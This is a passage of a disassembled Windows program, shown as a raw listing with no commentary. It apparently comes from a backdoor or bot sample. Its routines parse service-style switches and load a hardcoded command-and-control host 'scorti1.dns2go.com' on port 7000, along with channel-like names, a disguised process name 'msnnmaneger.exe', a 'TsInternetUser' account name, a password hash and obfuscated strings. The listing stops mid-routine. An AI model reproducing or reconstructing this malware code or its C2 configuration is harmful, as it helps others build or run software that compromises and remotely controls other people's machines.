--------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F70 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D16 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D16 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_1BC] call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_1A4] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1D4] call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_1EC] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aMsnnmaneger_ex ; "msnnmaneger.exe" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aWintwir ; "wintwir" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aHail ; "Hail-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_294] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_114] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_18C] call sub_401A87 push offset aHotfix ; "hotfix" lea ecx, [esp+360h+var_144] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_CC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_1BC] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea ecx, [esp+39Ch+var_348] push 8 push ecx call sub_4019B5 add esp, 48h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_E4] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2C4] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 29h call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 mov byte ptr [esp+37Ch], 2Ah push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 2Fh push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 32h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h mov byte ptr [esp+388h], 33h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 